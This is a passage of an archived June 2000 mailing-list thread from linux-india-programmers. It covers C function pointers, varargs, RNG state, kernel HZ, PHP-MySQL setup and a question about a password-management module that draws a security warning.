<20000626045933.29082.qmail@web5304.mail.yahoo.com> Received: from [203.197.102.226] by web5304.mail.yahoo.com; Sun, 25 Jun 2000 21:59:33 PDT Date: Sun, 25 Jun 2000 21:59:33 -0700 (PDT) From: Santosh Singh Subject: smallest unit of time To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/195 On Monday 26 Jun 2000 hi smallest unit of time is jiffy which is dependent on the value of HZ in sched.h(most probably). Normally on Intel based platform its value is set to 100 thus the smallest unit of time you can work with is 1/100 unit of a sec. Anyway you can change the value of HZ to something a slight more to tweak up your system performance. Remind you changing the value of HZ causes the recompilation of kernel source as well as all the other modules which are dependent on the value of HZ else your system will behave something beyond your prediction. Before changing the value of HZ I w'd suggest to peek thru Alessandro Rubini's book on Device Driver. Best of luck. --------------------- santosh singh Feel free to mail at sanhackin@yahoo.com __________________________________________________ Do You Yahoo!? Get Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 22:29:01 2000 Received: from hotmail.com (f162.law3.hotmail.com [209.185.241.162]) by www.aunet.org (Postfix) with SMTP id C4EDC3806A for ; Sun, 25 Jun 2000 22:28:56 -0700 (PDT) Received: (qmail 2295 invoked by uid 0); 26 Jun 2000 05:28:51 -0000 Message-ID: <20000626052851.2294.qmail@hotmail.com> Received: from 203.197.178.175 by www.hotmail.com with HTTP; Sun, 25 Jun 2000 22:28:51 PDT X-Originating-IP: [203.197.178.175] From: "Muthu Mohan" To: linux-india-programmers@lists.linux-india.org Subject: Re: Html parser Date: Mon, 26 Jun 2000 10:58:51 IST Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Archive-Number: 200006/196 Dear friend, Why can't you try for Mozilla.org (I think they are giving source code of Web Browser). -Muthu Mohan.T ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 25 23:16:03 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 6D62B3802E for ; Sun, 25 Jun 2000 23:15:54 -0700 (PDT) Received: (from madhu@localhost) by cix.exocore.com (8.9.3/8.8.7) id LAA30533 for linux-india-programmers@lists.linux-india.org; Mon, 26 Jun 2000 11:45:41 +0530 Date: Mon, 26 Jun 2000 11:45:41 +0530 From: "Madhu M. Kurup" To: linux-india-programmers@lists.linux-india.org Subject: Re: pointers to functions Message-ID: <20000626114541.A30484@exocore.com> Reply-To: "Madhu M. Kurup" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000625175045.98A8638061@www.aunet.org>; from deepak2000@softhome.net on Sun, Jun 25, 2000 at 11:20:33PM +0500 X-Archive-Number: 200006/197 deepak yadav encoded : >hi >this mail is with refrence to my previous mail which goes like this > >>i have few functions say a(), b() ,c() ... >>i want to call these functions, each within same statement seperated by comma. >>e.g >> ( a() , b() , c() ); >>the problem is -- i want to vary the number and ordering of these functions within that statement at run time. Use an array of function pointers, but define the function with a signature as void foo(int n, ...); and use ellipses to convert back. And yes, this is an ugly hack, and as pointed out before, ideally you should use C++ with a vector passed in. Cheerio, M Madhu M Kurup /* Nemo Me Impune Lacessit */ madhu@exocore.com From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 00:31:39 2000 Received: from waltz.SoftHome.net (waltz.SoftHome.net [204.144.231.7]) by www.aunet.org (Postfix) with SMTP id 6AD9B38141 for ; Mon, 26 Jun 2000 00:31:36 -0700 (PDT) Received: (qmail 29620 invoked by uid 417); 26 Jun 2000 07:31:15 -0000 Message-ID: <20000626073115.29619.qmail@softhome.net> In-Reply-To: <20000626114541.A30484@exocore.com> From: deepak2000@softhome.net To: linux-india-programmers@lists.linux-india.org Subject: Re: pointers to functions Date: Mon, 26 Jun 2000 07:31:15 GMT Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Sender: deepak2000@softhome.net X-Archive-Number: 200006/198 Madhu M. Kurup writes: > deepak yadav encoded : > >hi > >this mail is with refrence to my previous mail which goes like this > > > >>i have few functions say a(), b() ,c() ... > >>i want to call these functions, each within same statement seperated by comma. > >>e.g > >> ( a() , b() , c() ); > >>the problem is -- i want to vary the number and ordering of these functions within that statement at run time. > > Use an array of function pointers, but define the function with a signature as > > void foo(int n, ...); > > and use ellipses to convert back. And yes, this is an ugly hack, and as pointed out before, ideally you should use C++ with a vector passed in. > > Cheerio, > M > > Madhu M Kurup /* Nemo Me Impune Lacessit */ madhu@exocore.com hi i have to write all functions in same statement seperated by comma. and the whole statement within brackets (). so passing them into another function as parameteres is not going to be useful. lanuguage which i can use is C or C++ i have to do it that way. the API says that. thanks ______________ Deepak From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 00:43:11 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 4A68838053 for ; Mon, 26 Jun 2000 00:43:01 -0700 (PDT) Received: (from madhu@localhost) by cix.exocore.com (8.9.3/8.8.7) id NAA30938 for linux-india-programmers@lists.linux-india.org; Mon, 26 Jun 2000 13:12:36 +0530 Date: Mon, 26 Jun 2000 13:12:36 +0530 From: "Madhu M. Kurup" To: linux-india-programmers@lists.linux-india.org Subject: Re: pointers to functions Message-ID: <20000626131236.A30918@exocore.com> Reply-To: "Madhu M. Kurup" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000626073115.29619.qmail@softhome.net>; from deepak2000@softhome.net on Mon, Jun 26, 2000 at 07:31:15AM +0000 X-Archive-Number: 200006/199 deepak2000@softhome.net encoded : >i have to write all functions in same statement seperated by comma. and the >whole statement within brackets (). so passing them into another function >as parameteres is not going to be useful. Errr, you kinda lost me completely - like Sharad asked before - what is it that you want to do? >lanuguage which i can use is C or C++ >i have to do it that way. the API says that. If the API is well defined, then it is most probably in C. C++ is not frequently used in defining API's and things of that sort. M Madhu M Kurup /* Nemo Me Impune Lacessit */ madhu@exocore.com From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 01:21:51 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id F2B6C38075 for ; Mon, 26 Jun 2000 01:21:39 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA16124 for ; Mon, 26 Jun 2000 13:47:54 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA06785 for ; Mon, 26 Jun 2000 13:50:17 +0500 (GMT) Received: from webmail ([192.168.2.18]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with SMTP id AAA595D; Mon, 26 Jun 2000 13:51:41 +0530 From: "Sharad Joshi" To: linux-india-programmers@lists.linux-india.org, linux-india-programmers@lists.linux-india.org Subject: Re: pointers to functions X-Mailer: Netscape Messenger Express 3.5.2 [Mozilla/4.7 [en] (Win98; I)] Date: Mon, 26 Jun 2000 13:51:41 +0530 Message-ID: <7736889085D.AAA595D@sarovar.mail.wipro.com> X-Archive-Number: 200006/200 >i have to write all functions in same statement seperated by comma. and the >whole statement within brackets (). so passing them into another function >as parameteres is not going to be useful. >lanuguage which i can use is C or C++ >i have to do it that way. the API says that. Oh, are you sure the parameters to the API are values returned by these functions or function pointers. In any case, i dont think theres any problem, no? Sharad. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 03:39:46 2000 Received: from svrsdfbldg.tcscal.co.in (unknown [206.103.11.137]) by www.aunet.org (Postfix) with SMTP id 052143807D for ; Mon, 26 Jun 2000 03:39:20 -0700 (PDT) Received: from iname.com ([172.18.10.102]) by svrsdfbldg.tcscal.co.in (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id 6525690A.003AAFE1; Mon, 26 Jun 2000 16:11:01 +0530 Message-ID: <3956DA31.DE54C983@iname.com> Date: Mon, 26 Jun 2000 09:51:05 +0530 From: Robin Chatterjee Organization: Tata Consultancy Services X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Shell Scripting (Was Re: [LIH] at problem) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/201 you could also define a shell alias/function to do this Cheerio Robin -- _END_ Robin S Chatterjee Yahoo pager ID -Robinchatterjee mailto:robinsc@iname.com mailto:robins_chatterjee@tcscal.co.in FAX 1-(815)550-6171 Robin's Poetry Pages http://www.geocities.com/singerosongs Robin's Perl Pages http://www.geocities.com/robinchatterjee From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 08:24:03 2000 Received: from brahma.roc.com (unknown [203.197.21.213]) by www.aunet.org (Postfix) with ESMTP id 9BCB53811A for ; Sun, 25 Jun 2000 21:40:28 -0700 (PDT) Received: from KMD.roc.com ([172.16.1.158]) by brahma.roc.com (8.8.5/8.8.5) with SMTP id KAA29350; Mon, 26 Jun 2000 10:15:27 +0530 (IST) Message-ID: <006301bfdf28$ee3e2800$9e0110ac@roc.com> From: "kmdsofttech-Yahoo" To: Cc: Subject: Re: pointers to functions Date: Mon, 26 Jun 2000 10:12:15 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Archive-Number: 200006/202 This Code May Work For You void fun1(void) { printf("Fun1\n"); } void fun2(void) { printf("Fun2\n"); } void fun3(void) { printf("Fun3\n"); } void CallFuns( void (*f1)(), void (*f2)() , void (*f3)()) { (*f1)(); (*f2)(); (*f3)(); } int main() { void (* myfuns[3])(void); int i; myfuns[0] = fun1; myfuns[1] = fun2; myfuns[2] = fun3; i = 0; CallFuns(myfuns[i],myfuns[i+1],myfuns[i+2]); printf("\n"); i = 1; CallFuns(myfuns[i],myfuns[i-1],myfuns[i+1]); } -------------------------------- Muralidhar From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 08:24:15 2000 Received: from brahma.roc.com (unknown [203.197.21.213]) by www.aunet.org (Postfix) with ESMTP id 2EA2C380BF for ; Sun, 25 Jun 2000 21:47:48 -0700 (PDT) Received: from KMD.roc.com ([172.16.1.158]) by brahma.roc.com (8.8.5/8.8.5) with SMTP id KAA29675; Mon, 26 Jun 2000 10:23:19 +0530 (IST) Message-ID: <008501bfdf2a$0495a640$9e0110ac@roc.com> From: "kmdsofttech-Yahoo" To: Cc: Subject: Re: pointers to functions Date: Mon, 26 Jun 2000 10:20:12 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Archive-Number: 200006/203 You Can Modify the function CallFuns To void CallFuns( void (*f1)(), void (*f2)() , void (*f3)()) { if(f1) (*f1)(); if(f2) (*f2)(); if(f3) (*f3)(); } Now you will be able to pass NULL pointers too. ------------------------------- Muralidhar From linux-india-programmers-owner@lists.linux-india.org Mon Jun 26 17:21:49 2000 Received: from tango.SoftHome.net (tango.SoftHome.net [204.144.231.49]) by www.aunet.org (Postfix) with SMTP id 05C673804E for ; Mon, 26 Jun 2000 17:21:43 -0700 (PDT) Received: (qmail 16608 invoked by uid 417); 27 Jun 2000 00:25:12 -0000 Received: from ppp33.delhi-156.pacific.net.in (HELO deepak) (203.123.156.33) by smtpb.softhome.net with SMTP; 27 Jun 2000 00:25:12 -0000 Date: Tue, 27 Jun 2000 5:51:33 +0500 From: deepak yadav To: linux-india-programmers Subject: pointers X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <20000627002144.05C673804E@www.aunet.org> X-Archive-Number: 200006/204 hi i have a similar kind of problem like last one. though my last problem got solved as i can do the thing i wanted to do with another method. i want to pass a varible list of paramters to a function say printf . here i can at runtime build format specifier string when the data types of parameters to pass are known. but how to list parameters in it. the parameters differ in ordering of datatypes and their number. i need something like kind of an array of pointers for that. plz tell me how to do that for passing parameters by reference and by value. thanks ----------------------------- reply soon bye __ deepak __ have a great day ICQ 30662394 From linux-india-programmers-owner@lists.linux-india.org Tue Jun 27 02:29:08 2000 Received: from svrsdfbldg.tcscal.co.in (unknown [206.103.11.137]) by www.aunet.org (Postfix) with SMTP id D41DD38056 for ; Tue, 27 Jun 2000 02:28:45 -0700 (PDT) Received: from iname.com ([172.18.10.102]) by svrsdfbldg.tcscal.co.in (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id 6525690B.00344DE2; Tue, 27 Jun 2000 15:01:18 +0530 Message-ID: <3958740E.E57EDBD7@iname.com> Date: Tue, 27 Jun 2000 14:59:50 +0530 From: Robin Chatterjee Organization: Tata Consultancy Services X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: pointers Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/205 isn't varargs supposed to do that for you ? in the way that printf itself does ? Cheerio RObin deepak yadav wrote: > > hi > > i have a similar kind of problem like last one. though my last problem got solved as i can do the thing i wanted to do with another method. > i want to pass a varible list of paramters to a function say printf . here i can at runtime build format specifier string when the data types of parameters to pass are known. but how to list parameters in it. the parameters differ in ordering of datatypes and their number. i need something like kind of an array of pointers for that. plz tell me how to do that for passing parameters by reference and by value. > > thanks > > ----------------------------- > reply soon > bye > > __ deepak __ > > have a great day > ICQ 30662394 > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ -- _END_ Robin S Chatterjee Yahoo pager ID -Robinchatterjee mailto:robinsc@iname.com mailto:robins_chatterjee@tcscal.co.in FAX 1-(815)550-6171 Robin's Poetry Pages http://www.geocities.com/singerosongs Robin's Perl Pages http://www.geocities.com/robinchatterjee From linux-india-programmers-owner@lists.linux-india.org Tue Jun 27 12:41:34 2000 Received: from mobile.nikhilwiz.net (unknown [202.65.130.198]) by www.aunet.org (Postfix) with ESMTP id 5627D3802E for ; Tue, 27 Jun 2000 12:41:26 -0700 (PDT) Received: (from nikhil@localhost) by mobile.nikhilwiz.net (8.9.3/8.9.3) id BAA00475 for linux-india-programmers@lists.linux-india.org; Wed, 28 Jun 2000 01:08:47 +0530 X-Authentication-Warning: mobile.nikhilwiz.net: nikhil set sender to nikhilwiz@yahoo.com using -f Date: Wed, 28 Jun 2000 01:08:47 +0530 From: Nick Hill To: linux-india-programmers@lists.linux-india.org Subject: Re: Html parser Message-ID: <20000628010847.B287@mobile.nikhilwiz.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001501bfdf2b$1fff0e20$9b01a8c0@MUTHU>; from muthu@innomedia.soft.net on Mon, Jun 26, 2000 at 10:28:09AM +0530 X-Operating-System: Linux mobile 2.4.0-test2 X-Archive-Number: 200006/206 check out the gtk-html and the gtkXmhtml(old) widgets... it'll take u somewhere... u could even write u're own... it isn't a tough job. Nikhil. On Mon, Jun 26, 2000 at 10:28:09AM +0530, Muthu wrote: > Any one plz tell me where do i get info about html parsing in > c?.Basically to get an idea about how web-browser is working .Thanx in > advance > Muthukumar From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 06:17:42 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id E23CF380C0 for ; Thu, 29 Jun 2000 06:17:12 -0700 (PDT) Received: from localhost (madhu@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id SAA21649 for ; Thu, 29 Jun 2000 18:46:54 +0530 Date: Thu, 29 Jun 2000 18:46:54 +0530 (IST) From: "Madhu M. Kurup" To: linux-india-programmers@lists.linux-india.org Subject: YARQ - Yet Another Random Query Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/207 Folks: For some stuff I'm doing, I need to be able to save and restore the status of the internal random generator that is being used in C. Is there an equivalent opposite for srandom(unsigned int seed)... that looks like unsigned int get_random(); which returns a value that is the current seed..... This seed could be then used to reset the RNG back to the original state? Yes, I looked at the man pages, initstate and setstate do not help, there is not getstate !!! :-(((.. Help, M Madhu M Kurup /* Nemo Me Impune Lacessit */ madhu@exocore.com From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 09:20:27 2000 Received: from web1503.mail.yahoo.com (web1503.mail.yahoo.com [128.11.23.181]) by www.aunet.org (Postfix) with SMTP id 848963851D for ; Thu, 29 Jun 2000 03:16:08 -0700 (PDT) Received: (qmail 25387 invoked by uid 60001); 29 Jun 2000 10:16:03 -0000 Message-ID: <20000629101603.25386.qmail@web1503.mail.yahoo.com> Received: from [202.142.89.103] by web1503.mail.yahoo.com; Thu, 29 Jun 2000 03:16:03 PDT Date: Thu, 29 Jun 2000 03:16:03 -0700 (PDT) From: vishwanath kalbagilmath Subject: how to change password. To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/208 hi friends, I am developing a module called password manager, in which i will be managing the password issue in whole the system. I get a username oldpassword and new password through mails and i should update them at the OS level i mean in /etc/passwd and also in /etc/shadow files. so how should i do it ? I have a raw sloution(using dup with passwd command) but i want the right one. plz do help. thanx in advance cheers vishwanath __________________________________________________ Do You Yahoo!? Get Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 12:41:05 2000 Received: from mail.ciol.com (unknown [216.46.224.153]) by www.aunet.org (Postfix) with SMTP id 8780338155 for ; Thu, 29 Jun 2000 12:41:00 -0700 (PDT) Received: from mail.ciol.com [216.46.224.165] by mail.ciol.com (SMTPD32-4.07) id A5FB1343005A; Thu, 29 Jun 2000 14:39:39 CDT From: "Venkatesh Murthy G" Reply-To: "Venkatesh Murthy G" Date: Thu, 29 Jun 100 14:39:39 CDT To: linux-india-programmers@lists.linux-india.org Subject: Re: YARQ - Yet Another Random Query Message-Id: <20000629194100.8780338155@www.aunet.org> X-Archive-Number: 200006/209 Madhu, > > Yes, I looked at the man pages, initstate and setstate do not > help, there is not getstate !!! :-(((.. You don't need a separate getstate as initstate and setstate return a pointer to the previous state array. But there are caveats tho'. The RNG does not make a copy of the passed state array; all state changes are recorded in place. This won't make a difference when you are using two different arrays to set state from, but if you want to restore to a previous state along a sequence, you'd be better off making a copy. Which means you need to know the length of the array. Storing the pointer also means that you should put state arrays passed to setstate or initstate in non-local storage; else you'll be doing something akin to returning a pointer to a local variable. As regards being able to restore state using the seed value alone, the RNG used by random () uses the state array in addition to the seed to drive its beaviour; the array is modified on every call to random (). The array is a multi-dimensional seed, in some sense. V. -- Venkatesha Murthy G. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 14:50:22 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 87F7E3805B for ; Thu, 29 Jun 2000 14:50:13 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e5TLjfe25811 for ; Thu, 29 Jun 2000 14:45:41 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FWXRBN03.JTM for ; Thu, 29 Jun 2000 14:50:11 -0700 Message-ID: <395BC493.B5B74320@netscape.com> Date: Thu, 29 Jun 2000 14:50:11 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.17 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: how to change password. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/210 vishwanath kalbagilmath proclaimed: > I get a username oldpassword and new password through > mails and i should update them at the OS level There are security issues with a scheme like this. Emails are notoriously insecure. So allowing someone to send a password via email is a security hole. > so how should i do it ? I have a raw sloution(using > dup with passwd command) but i want the right one. > plz do help. man 3 crypt Thaths -- Marge: Okay, but you've accomplished a lot! You've made me very happy. Homer: Oh, yeah, they'll put me on a stamp for that! Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 17:52:34 2000 Received: from linux.wiplash.com (unknown [203.94.254.143]) by www.aunet.org (Postfix) with ESMTP id AB7123804E for ; Thu, 29 Jun 2000 17:52:24 -0700 (PDT) Received: from deepak ([192.168.0.21]) by linux.wiplash.com (8.9.3/8.8.7) with SMTP id GAA23637 for ; Fri, 30 Jun 2000 06:25:49 +0500 Message-Id: <200006300125.GAA23637@linux.wiplash.com> Date: Fri, 30 Jun 2000 6:22:10 +0500 From: deepak yadav To: linux-india-programmers Subject: function arguments X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/211 hi i posted this problem earlier but i am not receiving any mails from LIP. please help me out. i have to print some values. i don't know before hand what is their type and number which can only be determined when it is run. i want to do something like for(i = 0; i < num ; i++ ) { str = getFormatSpecifierString(i); printf(str, value[i]); } is such thing possible. what kind of array 'value' be. thanks ----------------------------- reply soon bye __ deepak __ have a great day ICQ 30662394 - - This screen intentionally left blank. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 17:52:41 2000 Received: from linux.wiplash.com (unknown [203.94.254.143]) by www.aunet.org (Postfix) with ESMTP id CBE5D3804E for ; Thu, 29 Jun 2000 17:52:33 -0700 (PDT) Received: from deepak ([192.168.0.21]) by linux.wiplash.com (8.9.3/8.8.7) with SMTP id GAA23652 for ; Fri, 30 Jun 2000 06:26:01 +0500 Message-Id: <200006300126.GAA23652@linux.wiplash.com> Date: Fri, 30 Jun 2000 6:22:21 +0500 From: deepak yadav To: linux-india-programmers Subject: php X-mailer: FoxMail 2.1 [en] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/212 hi is there a separate module for php support for mysql. i have installed php rpm which comes with Redhat 6.2 (PCQ) i am not able to connect to mysql server. the error is reported in following line. $db = mysql_connect("localhost","admin"); Fatal Error: Call to unsupported or undefined function mysql_connect() i tried it with password also. thanks ----------------------------- reply soon bye __ deepak __ have a great day ICQ 30662394 -- If God had intended Man to program, we'd be born with serial I/O ports. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 20:06:28 2000 Received: from giasbg01.vsnl.net.in (giasbg01.vsnl.net.in [202.54.12.17]) by www.aunet.org (Postfix) with ESMTP id 2EC1F38088 for ; Thu, 29 Jun 2000 19:58:07 -0700 (PDT) Received: from localhost.localdomain (IDENT:root@[203.200.0.125]) by giasbg01.vsnl.net.in (8.9.3/8.9.3) with ESMTP id IAA29079 for ; Fri, 30 Jun 2000 08:31:51 +0500 (GMT+0500) Received: (from mrinal@localhost) by localhost.localdomain (8.9.3/8.9.3) id IAA01568 for linux-india-programmers@lists.linux-india.org; Fri, 30 Jun 2000 08:08:45 +0530 Date: Fri, 30 Jun 2000 08:08:44 +0530 From: Mrinal Kalakrishnan To: The Linux India Programmers Mailing List Subject: Re: php Message-ID: <20000630080844.A1451@india.com> Mail-Followup-To: The Linux India Programmers Mailing List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200006300126.GAA23652@linux.wiplash.com>; from deepak2000@softhome.net on Fri, Jun 30, 2000 at 06:22:21AM +0500 X-Mailer: Mutt 1.3.4i (2000-06-19) X-Operating-System: Linux 2.2.16 X-Editor: VIM - Vi IMproved 5.6 X-URL: http://www.geocities.com/mrinal/ Organization: Jobless after finishing school! X-Archive-Number: 200006/213 Hi, deepak yadav typed: > hi is there a separate module for php support for mysql. i have > installed php rpm which comes with Redhat 6.2 (PCQ) i am not able to > connect to mysql server. the error is reported in following line. > $db = mysql_connect("localhost","admin"); You'll either have to compile PHP from source with mysql support, or you can download an rpm - php-mysql-xxxxxx.rpm, search on rpmfind (type in rpmfind php-mysql), and install it. Then look in /etc/httpd/php3.ini and uncomment lines related to Mysql (I forgot exactly what the lines were). -- Mrinal Kalakrishnan http://mrinal.dhs.org/ Linux 2.2.16 || PGP:B1E86F5B || Mutt 1.3.4i (2000-06-19) || VIM 5.6 -- "Linux: the operating system with a CLUE... Command Line User Environment". (seen in a posting in comp.software.testing) From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 21:14:26 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 589553814A for ; Thu, 29 Jun 2000 21:14:20 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA24884 for ; Fri, 30 Jun 2000 09:40:34 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA23971 for ; Fri, 30 Jun 2000 09:43:00 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA2ED5; Fri, 30 Jun 2000 09:44:22 +0530 Date: Fri, 30 Jun 2000 09:54:18 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: deepak yadav Cc: linux-india-programmers Subject: Re: function arguments In-Reply-To: <200006300125.GAA23637@linux.wiplash.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/214 + i have to print some values. i don't know before hand what is their type and number which can only be determined when it is run. + i want to do something like + + for(i = 0; i < num ; i++ ) { + str = getFormatSpecifierString(i); + printf(str, value[i]); + } I dont know if this is a case of bad design of the function getFormat... or you hit a wall for choosing this design. Give a try in C++, that will definitely help you. In C, you can print in any format you want, but to maintain uniform 'unreadability' across various formats, how about printing all values in Hex :) Sharad. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 21:25:09 2000 Received: from svrsdfbldg.tcscal.co.in (unknown [206.103.11.137]) by www.aunet.org (Postfix) with SMTP id 368183812B for ; Thu, 29 Jun 2000 21:25:00 -0700 (PDT) Received: from iname.com ([172.18.16.59]) by svrsdfbldg.tcscal.co.in (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id 6525690E.001882A7; Fri, 30 Jun 2000 09:57:43 +0530 Message-ID: <395C21A4.7EBF62B7@iname.com> Date: Fri, 30 Jun 2000 09:57:16 +0530 From: Robin Chatterjee X-Mailer: Mozilla 4.06 [en] (WinNT; I) MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: php Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/215 Read the archives man, you need a php rpm with mysql support. Someone said that mandrakes rpmshave it. try installing that... Cheerio Robin deepak yadav wrote: > hi > is there a separate module for php support for mysql. i have installed php rpm which comes with Redhat 6.2 (PCQ) > i am not able to connect to mysql server. the error is reported in following line. > $db = mysql_connect("localhost","admin"); > > Fatal Error: Call to unsupported or undefined function mysql_connect() > > i tried it with password also. > > thanks > > ----------------------------- > reply soon > bye > > __ deepak __ > > have a great day > ICQ 30662394 > > -- If God had intended Man to program, we'd be born with serial I/O ports. > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 21:25:52 2000 Received: from svrsdfbldg.tcscal.co.in (unknown [206.103.11.137]) by www.aunet.org (Postfix) with SMTP id B6ABF3814E for ; Thu, 29 Jun 2000 21:25:46 -0700 (PDT) Received: from iname.com ([172.18.16.59]) by svrsdfbldg.tcscal.co.in (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id 6525690E.00189636; Fri, 30 Jun 2000 09:58:33 +0530 Message-ID: <395C21D6.51846200@iname.com> Date: Fri, 30 Jun 2000 09:58:06 +0530 From: Robin Chatterjee X-Mailer: Mozilla 4.06 [en] (WinNT; I) MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: function arguments Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/216 check out varargs....look in k&r Thanks Robin deepak yadav wrote: > hi > i posted this problem earlier but i am not receiving any mails from LIP. please help me out. > > i have to print some values. i don't know before hand what is their type and number which can only be determined when it is run. > i want to do something like > > for(i = 0; i < num ; i++ ) { > str = getFormatSpecifierString(i); > printf(str, value[i]); > } > > is such thing possible. what kind of array 'value' be. > > thanks > > ----------------------------- > reply soon > bye > > __ deepak __ > > have a great day > ICQ 30662394 > - > - > > This screen intentionally left blank. > > ----------------------------------------------------------------------- > For more information on the LIP mailing list see: > http://lists.linux-india.org/lists/LIP From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 22:15:36 2000 Received: from maze.mcdecom.net (maze.mcdecom.net [202.170.128.34]) by www.aunet.org (Postfix) with ESMTP id F12E5380B8 for ; Thu, 29 Jun 2000 22:15:26 -0700 (PDT) Received: from mcdmhp.mcdecom.net by maze.mcdecom.net with ESMTP for 